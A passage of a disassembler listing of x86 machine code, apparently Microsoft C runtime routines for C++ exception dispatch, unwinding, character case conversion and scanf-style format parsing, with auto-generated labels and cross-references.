; sub_41A595+53j
pop edi
pop esi
leave
retn
sub_41A595 endp
; =============== S U B R O U T I N E =======================================
sub_41A63D proc near ; CODE XREF: sub_41A3EE+10Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_0]
mov eax, [edi+4]
test eax, eax
jz short loc_41A694
cmp byte ptr [eax+8], 0
lea edx, [eax+8]
jz short loc_41A694
mov esi, [esp+8+arg_4]
mov ecx, [esi+4]
cmp eax, ecx
jz short loc_41A66E
add ecx, 8
push ecx
push edx
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_41A690
loc_41A66E: ; CODE XREF: sub_41A63D+1Fj
test byte ptr [esi], 2
jz short loc_41A678
test byte ptr [edi], 8
jz short loc_41A690
loc_41A678: ; CODE XREF: sub_41A63D+34j
mov eax, [esp+8+arg_8]
mov eax, [eax]
test al, 1
jz short loc_41A687
test byte ptr [edi], 1
jz short loc_41A690
loc_41A687: ; CODE XREF: sub_41A63D+43j
test al, 2
jz short loc_41A694
test byte ptr [edi], 2
jnz short loc_41A694
loc_41A690: ; CODE XREF: sub_41A63D+2Fj
; sub_41A63D+39j ...
xor eax, eax
jmp short loc_41A697
; ---------------------------------------------------------------------------
loc_41A694: ; CODE XREF: sub_41A63D+Bj
; sub_41A63D+14j ...
push 1
pop eax
loc_41A697: ; CODE XREF: sub_41A63D+55j
pop edi
pop esi
retn
sub_41A63D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A69A proc near ; CODE XREF: sub_41A353+34p
; sub_41A74E+42p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4217F8
push offset sub_41CE08
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ebx, [ebp+arg_0]
mov esi, [ebx+8]
mov [ebp+var_1C], esi
mov edi, [ebp+arg_8]
loc_41A6CC: ; CODE XREF: sub_41A69A+8Aj
cmp esi, [ebp+arg_C]
jz short loc_41A726
cmp esi, 0FFFFFFFFh
jle short loc_41A6DB
cmp esi, [edi+4]
jl short loc_41A6E0
loc_41A6DB: ; CODE XREF: sub_41A69A+3Aj
call sub_41ABF2
loc_41A6E0: ; CODE XREF: sub_41A69A+3Fj
and [ebp+var_4], 0
mov eax, [edi+8]
mov eax, [eax+esi*8+4]
test eax, eax
jz short loc_41A6FB
push 103h
push ebx
push eax
call sub_41AB50
loc_41A6FB: ; CODE XREF: sub_41A69A+53j
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_41A71B
; ---------------------------------------------------------------------------
push [ebp+var_14]
call sub_41A738
pop ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov esi, [ebp+var_1C]
loc_41A71B: ; CODE XREF: sub_41A69A+65j
mov eax, [edi+8]
mov esi, [eax+esi*8]
mov [ebp+var_1C], esi
jmp short loc_41A6CC
; ---------------------------------------------------------------------------
loc_41A726: ; CODE XREF: sub_41A69A+35j
mov [ebx+8], esi
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41A69A endp
; =============== S U B R O U T I N E =======================================
sub_41A738 proc near ; CODE XREF: sub_41A69A+6Ap
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jz short loc_41A749
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41A749: ; CODE XREF: sub_41A738+Cj
jmp sub_41AB9C
sub_41A738 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A74E proc near ; CODE XREF: sub_41A3EE+151p
; sub_41A595+94p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
cmp [ebp+arg_18], 0
push ebx
mov ebx, [ebp+arg_14]
push esi
push edi
mov edi, [ebp+arg_4]
jz short loc_41A770
push [ebp+arg_18]
push ebx
push edi
push [ebp+arg_0]
call sub_41A8FF
add esp, 10h
loc_41A770: ; CODE XREF: sub_41A74E+10j
cmp [ebp+arg_24], 0
push [ebp+arg_0]
jnz short loc_41A77C
push edi
jmp short loc_41A77F
; ---------------------------------------------------------------------------
loc_41A77C: ; CODE XREF: sub_41A74E+29j
push [ebp+arg_24]
loc_41A77F: ; CODE XREF: sub_41A74E+2Cj
call sub_4160C4
mov esi, [ebp+arg_1C]
push dword ptr [esi]
push [ebp+arg_10]
push [ebp+arg_C]
push edi
call sub_41A69A
mov eax, [esi+4]
push 100h
push [ebp+arg_20]
inc eax
mov [edi+8], eax
push dword ptr [ebx+0Ch]
push [ebp+arg_10]
push [ebp+arg_8]
push edi
push [ebp+arg_0]
call sub_41A7C9
add esp, 2Ch
test eax, eax
jz short loc_41A7C4
push edi
push eax
call sub_416082
loc_41A7C4: ; CODE XREF: sub_41A74E+6Dj
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41A74E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A7C9 proc near ; CODE XREF: sub_41A74E+63p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_421808
push offset sub_41CE08
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_10]
mov [ebp+var_2C], eax
xor ebx, ebx
mov [ebp+var_24], ebx
mov esi, [ebp+arg_4]
mov ecx, [esi-4]
mov [ebp+var_28], ecx
mov ecx, dword_46952C
mov [ebp+var_1C], ecx
mov ecx, dword_469530
mov [ebp+var_20], ecx
mov edi, [ebp+arg_0]
mov dword_46952C, edi
mov ecx, [ebp+arg_8]
mov dword_469530, ecx
mov [ebp+var_4], ebx
mov [ebp+var_4], 1
push [ebp+arg_18]
push [ebp+arg_14]
push eax
push [ebp+arg_C]
push esi
call sub_416149
add esp, 14h
mov [ebp+var_2C], eax
mov [ebp+var_4], ebx
or [ebp+var_4], 0FFFFFFFFh
call sub_41A88F
mov eax, [ebp+var_2C]
loc_41A856: ; CODE XREF: sub_41A86F+16j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41A7C9 endp
; =============== S U B R O U T I N E =======================================
sub_41A865 proc near ; DATA XREF: .nsp0:00421818o
push dword ptr [ebp-14h]
call sub_41A8D5
pop ecx
retn
sub_41A865 endp
; =============== S U B R O U T I N E =======================================
sub_41A86F proc near ; DATA XREF: .nsp0:0042181Co
mov esp, [ebp-18h]
and dword ptr [ebp-2Ch], 0
push 0FFFFFFFFh
lea eax, [ebp-10h]
push eax
call sub_4163AA
pop ecx
pop ecx
xor eax, eax
jmp short loc_41A856
sub_41A86F endp
; ---------------------------------------------------------------------------
loc_41A887: ; DATA XREF: .nsp0:00421810o
xor ebx, ebx
mov esi, [ebp+0Ch]
mov edi, [ebp+8]
; =============== S U B R O U T I N E =======================================
sub_41A88F proc near ; CODE XREF: sub_41A7C9+85p
mov eax, [ebp-28h]
mov [esi-4], eax
mov eax, [ebp-1Ch]
mov dword_46952C, eax
mov eax, [ebp-20h]
mov dword_469530, eax
cmp dword ptr [edi], 0E06D7363h
jnz short locret_41A8D4
cmp dword ptr [edi+10h], 3
jnz short locret_41A8D4
cmp dword ptr [edi+14h], 19930520h
jnz short locret_41A8D4
cmp [ebp-24h], ebx
jnz short locret_41A8D4
cmp [ebp-2Ch], ebx
jz short locret_41A8D4
call sub_416412
push eax
push edi
call sub_41AAC3
pop ecx
pop ecx
locret_41A8D4: ; CODE XREF: sub_41A88F+1Cj
; sub_41A88F+22j ...
retn
sub_41A88F endp
; =============== S U B R O U T I N E =======================================
sub_41A8D5 proc near ; CODE XREF: sub_41A865+3p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_41A8FC
cmp dword ptr [eax+10h], 3
jnz short loc_41A8FC
cmp dword ptr [eax+14h], 19930520h
jnz short loc_41A8FC
cmp dword ptr [eax+1Ch], 0
jnz short loc_41A8FC
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41A8FC: ; CODE XREF: sub_41A8D5+Cj
; sub_41A8D5+12j ...
xor eax, eax
retn
sub_41A8D5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A8FF proc near ; CODE XREF: sub_41A74E+1Ap
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_421820
push offset sub_41CE08
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ecx, [ebp+arg_8]
mov eax, [ecx+4]
test eax, eax
jz loc_41AAA8
cmp byte ptr [eax+8], 0
jz loc_41AAA8
mov eax, [ecx+8]
test eax, eax
jz loc_41AAA8
mov edx, [ebp+arg_4]
lea edi, [eax+edx+0Ch]
and [ebp+var_4], 0
test byte ptr [ecx], 8
jz short loc_41A99C
mov esi, [ebp+arg_0]
push 1
push dword ptr [esi+18h]
call sub_41DF66
pop ecx
pop ecx
test eax, eax
jz loc_41AA9F
push 1
push edi
call sub_41DF82
pop ecx
pop ecx
test eax, eax
jz loc_41AA9F
mov eax, [esi+18h]
mov [edi], eax
mov ecx, [ebp+arg_C]
add ecx, 8
push ecx
loc_41A98D: ; CODE XREF: sub_41A8FF+F5j
push eax
call sub_41AB2A
pop ecx
pop ecx
mov [edi], eax
jmp loc_41AAA4
; ---------------------------------------------------------------------------
loc_41A99C: ; CODE XREF: sub_41A8FF+57j
mov esi, [ebp+arg_C]
test byte ptr [esi], 1
jz short loc_41A9F6
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
call sub_41DF66
pop ecx
pop ecx
test eax, eax
jz loc_41AA9F
push 1
push edi
call sub_41DF82
pop ecx
pop ecx
test eax, eax
jz loc_41AA9F
push dword ptr [esi+14h]
push dword ptr [ebx+18h]
push edi
call sub_416490
add esp, 0Ch
cmp dword ptr [esi+14h], 4
jnz loc_41AAA4
mov eax, [edi]
test eax, eax
jz loc_41AAA4
add esi, 8
push esi
jmp short loc_41A98D
; ---------------------------------------------------------------------------
loc_41A9F6: ; CODE XREF: sub_41A8FF+A3j
cmp dword ptr [esi+18h], 0
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
jnz short loc_41AA3E
call sub_41DF66
pop ecx
pop ecx
test eax, eax
jz loc_41AA9F
push 1
push edi
call sub_41DF82
pop ecx
pop ecx
test eax, eax
jz short loc_41AA9F
push dword ptr [esi+14h]
add esi, 8
push esi
push dword ptr [ebx+18h]
call sub_41AB2A
pop ecx
pop ecx
push eax
push edi
call sub_416490
add esp, 0Ch
jmp short loc_41AAA4
; ---------------------------------------------------------------------------
loc_41AA3E: ; CODE XREF: sub_41A8FF+103j
call sub_41DF66
pop ecx
pop ecx
test eax, eax
jz short loc_41AA9F
push 1
push edi
call sub_41DF82
pop ecx
pop ecx
test eax, eax
jz short loc_41AA9F
push dword ptr [esi+18h]
call sub_41DF9E
pop ecx
test eax, eax
jz short loc_41AA9F
test byte ptr [esi], 4
jz short loc_41AA85
push 1
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_41AB2A
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_4160BD
jmp short loc_41AAA4
; ---------------------------------------------------------------------------
loc_41AA85: ; CODE XREF: sub_41A8FF+168j
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_41AB2A
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_4160B6
jmp short loc_41AAA4
; ---------------------------------------------------------------------------
loc_41AA9F: ; CODE XREF: sub_41A8FF+6Aj
; sub_41A8FF+7Cj ...
call sub_41ABF2
loc_41AAA4: ; CODE XREF: sub_41A8FF+98j
; sub_41A8FF+E1j ...
or [ebp+var_4], 0FFFFFFFFh
loc_41AAA8: ; CODE XREF: sub_41A8FF+2Ej
; sub_41A8FF+38j ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41A8FF endp
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_41AB9C
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AAC3 proc near ; CODE XREF: sub_41A3EE+170p
; sub_41A88F+3Ep
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_421830
push offset sub_41CE08
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_0]
test eax, eax
jz short loc_41AB0A
mov ecx, [eax+1Ch]
mov ecx, [ecx+4]
test ecx, ecx
jz short loc_41AB0A
and [ebp+var_4], 0
push ecx
push dword ptr [eax+18h]
call sub_4160B6
or [ebp+var_4], 0FFFFFFFFh
loc_41AB0A: ; CODE XREF: sub_41AAC3+2Aj
; sub_41AAC3+34j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41AAC3 endp
; ---------------------------------------------------------------------------
xor eax, eax
cmp [ebp+0Ch], al
setnz al
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_41AB9C
; =============== S U B R O U T I N E =======================================
sub_41AB2A proc near ; CODE XREF: sub_41A8FF+8Fp
; sub_41A8FF+12Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
mov eax, [ecx]
mov edx, [ecx+4]
add eax, esi
test edx, edx
jl short loc_41AB4B
mov esi, [edx+esi]
mov ecx, [ecx+8]
mov ecx, [esi+ecx]
add ecx, edx
add eax, ecx
loc_41AB4B: ; CODE XREF: sub_41AB2A+12j
pop esi
retn
sub_41AB2A endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AB50 proc near ; CODE XREF: sub_416149+40p
; sub_41A69A+5Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 4
push ebx
push ecx
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push ebp
push [ebp+arg_8]
mov ecx, [ebp+arg_8]
mov ebp, [ebp+var_4]
call sub_416435
push esi
push edi
call eax
pop edi
pop esi
mov ebx, ebp
pop ebp
mov ecx, [ebp+arg_8]
push ebp
mov ebp, ebx
cmp ecx, 100h
jnz short loc_41AB8F
mov ecx, 2
loc_41AB8F: ; CODE XREF: sub_41AB50+38j
push ecx
call sub_416435
pop ebp
pop ecx
pop ebx
leave
retn 0Ch
sub_41AB50 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AB9C proc near ; CODE XREF: sub_41A3EE:loc_41A590j
; sub_41A738:loc_41A749j ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0041DFB6 SIZE 00000017 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_421840
push offset sub_41CE08
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, dword_469538
test eax, eax
jz short loc_41ABE4
mov [ebp+var_4], 1
call eax
jmp short loc_41ABE0
; ---------------------------------------------------------------------------
loc_41ABD9: ; DATA XREF: .nsp0:00421850o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41ABDD: ; DATA XREF: .nsp0:00421854o
mov esp, [ebp+var_18]
loc_41ABE0: ; CODE XREF: sub_41AB9C+3Bj
and [ebp+var_4], 0
loc_41ABE4: ; CODE XREF: sub_41AB9C+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_41ABED: ; DATA XREF: .nsp0:00421848o
jmp loc_41DFB6
sub_41AB9C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ABF2 proc near ; CODE XREF: sub_4162EB+23p
; sub_4162EB:loc_416356p ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_421858
push offset sub_41CE08
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, off_4380F4
test eax, eax
jz short loc_41AC3A
mov [ebp+var_4], 1
call eax ; sub_41AB9C
jmp short loc_41AC36
; ---------------------------------------------------------------------------
loc_41AC2F: ; DATA XREF: .nsp0:00421868o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41AC33: ; DATA XREF: .nsp0:0042186Co
mov esp, [ebp+var_18]
loc_41AC36: ; CODE XREF: sub_41ABF2+3Bj
and [ebp+var_4], 0
loc_41AC3A: ; CODE XREF: sub_41ABF2+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_41AC43: ; DATA XREF: .nsp0:00421860o
jmp sub_41AB9C
sub_41ABF2 endp
; =============== S U B R O U T I N E =======================================
sub_41AC48 proc near ; CODE XREF: sub_4167D3+7p
; sub_4167D3+26p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push esi
call sub_418AFD
test eax, eax
pop ecx
jz short loc_41AC60
mov eax, [esi-4]
pop esi
sub eax, 9
retn
; ---------------------------------------------------------------------------
loc_41AC60: ; CODE XREF: sub_41AC48+Ej
push esi
push 0
push dword_46AB20
call dword_421188
pop esi
retn
sub_41AC48 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AC71 proc near ; CODE XREF: sub_416881+12Bp
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_469548, 0
push ebx
jnz short loc_41AC9C
mov eax, [ebp+arg_0]
cmp eax, 61h
jl loc_41AD3A
cmp eax, 7Ah
jg loc_41AD3A
sub eax, 20h
jmp loc_41AD3A
; ---------------------------------------------------------------------------
loc_41AC9C: ; CODE XREF: sub_41AC71+Cj
mov ebx, [ebp+arg_0]
cmp ebx, 100h
jge short loc_41ACCF
cmp dword_437F9C, 1
jle short loc_41ACBC
push 2
push ebx
call sub_418556
pop ecx
pop ecx
jmp short loc_41ACC7
; ---------------------------------------------------------------------------
loc_41ACBC: ; CODE XREF: sub_41AC71+3Dj
mov eax, off_437D90
mov al, [eax+ebx*2]
and eax, 2
loc_41ACC7: ; CODE XREF: sub_41AC71+49j
test eax, eax
jnz short loc_41ACCF
loc_41ACCB: ; CODE XREF: sub_41AC71+AFj
mov eax, ebx
jmp short loc_41AD3A
; ---------------------------------------------------------------------------
loc_41ACCF: ; CODE XREF: sub_41AC71+34j
; sub_41AC71+58j
mov edx, off_437D90
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_41ACF2
and byte ptr [ebp+arg_0+2], 0
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
push 2
jmp short loc_41ACFB
; ---------------------------------------------------------------------------
loc_41ACF2: ; CODE XREF: sub_41AC71+71j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
push 1
loc_41ACFB: ; CODE XREF: sub_41AC71+7Fj
pop eax
lea ecx, [ebp+var_4]
push 1
push 0
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push 200h
push dword_469548
call sub_41BD71
add esp, 20h
test eax, eax
jz short loc_41ACCB
cmp eax, 1
jnz short loc_41AD2D
movzx eax, [ebp+var_4]
jmp short loc_41AD3A
; ---------------------------------------------------------------------------
loc_41AD2D: ; CODE XREF: sub_41AC71+B4j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_41AD3A: ; CODE XREF: sub_41AC71+14j
; sub_41AC71+1Dj ...
pop ebx
leave
retn
sub_41AC71 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AD3D proc near ; CODE XREF: sub_416AA0+2Ap
var_1C4 = byte ptr -1C4h
var_1C3 = byte ptr -1C3h
var_64 = byte ptr -64h
var_59 = byte ptr -59h
var_44 = dword ptr -44h
var_3E = word ptr -3Eh
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_37 = byte ptr -37h
var_35 = byte ptr -35h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C4h
and [ebp+var_15], 0
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
push edi
mov al, [esi]
mov [ebp+var_4], ebx
test al, al
mov [ebp+var_34], ebx
jz loc_41B743
mov edi, [ebp+arg_0]
jmp short loc_41AD6C
; ---------------------------------------------------------------------------
loc_41AD67: ; CODE XREF: sub_41AD3D+9CEj
mov edi, [ebp+arg_0]
xor ebx, ebx
loc_41AD6C: ; CODE XREF: sub_41AD3D+28j
cmp dword_437F9C, 1
jle short loc_41AD84
movzx eax, al
push 8
push eax
call sub_418556
pop ecx
pop ecx
jmp short loc_41AD93
; ---------------------------------------------------------------------------
loc_41AD84: ; CODE XREF: sub_41AD3D+36j
mov ecx, off_437D90
movzx eax, al
mov al, [ecx+eax*2]
and eax, 8
loc_41AD93: ; CODE XREF: sub_41AD3D+45j
cmp eax, ebx
jz short loc_41ADCD
dec [ebp+var_4]
push edi
lea eax, [ebp+var_4]
push edi
push eax
call sub_41B7CA
pop ecx
pop ecx
push eax
call sub_41B7B3
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_41E095
add esp, 0Ch
loc_41ADBB: ; CODE XREF: sub_41AD3D+8Ej
test eax, eax
jz short loc_41ADCD
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_41E095
pop ecx
jmp short loc_41ADBB
; ---------------------------------------------------------------------------
loc_41ADCD: ; CODE XREF: sub_41AD3D+58j
; sub_41AD3D+80j
cmp byte ptr [esi], 25h
jnz loc_41B6AF
and [ebp+var_35], 0
and [ebp+var_18], 0
and [ebp+var_17], 0
and [ebp+var_E], 0
and [ebp+var_F], 0
and [ebp+var_16], 0
xor edi, edi
and [ebp+var_5], 0
mov [ebp+var_1C], ebx
mov [ebp+var_20], ebx
mov [ebp+var_C], ebx
mov [ebp+var_D], 1
mov [ebp+var_30], ebx
loc_41AE04: ; CODE XREF: sub_41AD3D+172j
movzx ebx, byte ptr [esi+1]
inc esi
cmp dword_437F9C, 1
jle short loc_41AE21
movzx eax, bl
push 4
push eax
call sub_418556
pop ecx
pop ecx
jmp short loc_41AE30
; ---------------------------------------------------------------------------
loc_41AE21: ; CODE XREF: sub_41AD3D+D3j
mov ecx, off_437D90
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_41AE30: ; CODE XREF: sub_41AD3D+E2j
test eax, eax
jz short loc_41AE46
mov eax, [ebp+var_C]
inc [ebp+var_20]
lea eax, [eax+eax*4]
lea eax, [ebx+eax*2-30h]
mov [ebp+var_C], eax
jmp short loc_41AEAB
; ---------------------------------------------------------------------------
loc_41AE46: ; CODE XREF: sub_41AD3D+F5j
cmp ebx, 4Eh
jg short loc_41AE89
jz short loc_41AEAB
cmp ebx, 2Ah
jz short loc_41AE84
cmp ebx, 46h
jz short loc_41AEAB
cmp ebx, 49h
jz short loc_41AE66
cmp ebx, 4Ch
jnz short loc_41AE98
inc [ebp+var_D]
jmp short loc_41AEAB
; ---------------------------------------------------------------------------
loc_41AE66: ; CODE XREF: sub_41AD3D+11Dj
cmp byte ptr [esi+1], 36h
jnz short loc_41AE98
cmp byte ptr [esi+2], 34h
lea eax, [esi+2]
jnz short loc_41AE98
inc [ebp+var_30]
and [ebp+var_28], 0
and [ebp+var_24], 0
mov esi, eax
jmp short loc_41AEAB
; ---------------------------------------------------------------------------
loc_41AE84: ; CODE XREF: sub_41AD3D+113j
inc [ebp+var_E]
jmp short loc_41AEAB
; ---------------------------------------------------------------------------
loc_41AE89: ; CODE XREF: sub_41AD3D+10Cj
cmp ebx, 68h
jz short loc_41AEA5
cmp ebx, 6Ch
jz short loc_41AE9D
cmp ebx, 77h
jz short loc_41AEA0
loc_41AE98: ; CODE XREF: sub_41AD3D+122j
; sub_41AD3D+12Dj ...
inc [ebp+var_F]
jmp short loc_41AEAB
; ---------------------------------------------------------------------------
loc_41AE9D: ; CODE XREF: sub_41AD3D+154j
inc [ebp+var_D]
loc_41AEA0: ; CODE XREF: sub_41AD3D+159j
inc [ebp+var_5]
jmp short loc_41AEAB
; ---------------------------------------------------------------------------
loc_41AEA5: ; CODE XREF: sub_41AD3D+14Fj
dec [ebp+var_D]
dec [ebp+var_5]
loc_41AEAB: ; CODE XREF: sub_41AD3D+107j
; sub_41AD3D+10Ej ...
cmp [ebp+var_F], 0
jz loc_41AE04
cmp [ebp+var_E], 0
mov [ebp+arg_4], esi
jnz short loc_41AED0
mov eax, [ebp+arg_8]
mov [ebp+var_44], eax
add eax, 4
mov [ebp+arg_8], eax
mov eax, [eax-4]
mov [ebp+var_2C], eax
loc_41AED0: ; CODE XREF: sub_41AD3D+17Fj
and [ebp+var_F], 0
cmp [ebp+var_5], 0
jnz short loc_41AEEE
mov al, [esi]
cmp al, 53h
jz short loc_41AEEA
cmp al, 43h
jz short loc_41AEEA
or [ebp+var_5], 0FFh
jmp short loc_41AEEE
; ---------------------------------------------------------------------------
loc_41AEEA: ; CODE XREF: sub_41AD3D+1A1j
; sub_41AD3D+1A5j
mov [ebp+var_5], 1
loc_41AEEE: ; CODE XREF: sub_41AD3D+19Bj
; sub_41AD3D+1ABj
mov ebx, [ebp+arg_4]
movzx esi, byte ptr [ebx]
or esi, 20h
cmp esi, 6Eh
mov [ebp+var_3C], esi
jz short loc_41AF27
cmp esi, 63h
jz short loc_41AF18
cmp esi, 7Bh
jz short loc_41AF18
push [ebp+arg_0]
lea eax, [ebp+var_4]
push eax
call sub_41B7CA
pop ecx
jmp short loc_41AF23
; ---------------------------------------------------------------------------
loc_41AF18: ; CODE XREF: sub_41AD3D+1C5j
; sub_41AD3D+1CAj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41B799
loc_41AF23: ; CODE XREF: sub_41AD3D+1D9j
pop ecx
mov [ebp+var_14], eax
loc_41AF27: ; CODE XREF: sub_41AD3D+1C0j
xor eax, eax
cmp [ebp+var_20], eax
jz short loc_41AF37
cmp [ebp+var_C], eax
jz loc_41B713
loc_41AF37: ; CODE XREF: sub_41AD3D+1EFj
cmp esi, 6Fh
jg loc_41B19E
jz loc_41B450
cmp esi, 63h
jz loc_41B17B
cmp esi, 64h
jz loc_41B450
jle loc_41B1C8
cmp esi, 67h
jle short loc_41AF9B
cmp esi, 69h
jz short loc_41AF83
cmp esi, 6Eh
jnz loc_41B1C8
cmp [ebp+var_E], 0
mov edi, [ebp+var_4]
jz loc_41B67E
jmp loc_41B6A4
; ---------------------------------------------------------------------------
loc_41AF83: ; CODE XREF: sub_41AD3D+229j
push 64h
pop esi
loc_41AF86: ; CODE XREF: sub_41AD3D+480j
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz loc_41B210
mov [ebp+var_17], 1
jmp loc_41B215
; ---------------------------------------------------------------------------
loc_41AF9B: ; CODE XREF: sub_41AD3D+224j
mov ebx, [ebp+var_14]
lea esi, [ebp+var_1C4]
cmp ebx, 2Dh
jnz short loc_41AFB7
mov [ebp+var_1C4], bl
lea esi, [ebp+var_1C3]
jmp short loc_41AFBC
; ---------------------------------------------------------------------------
loc_41AFB7: ; CODE XREF: sub_41AD3D+26Aj
cmp ebx, 2Bh
jnz short loc_41AFD3
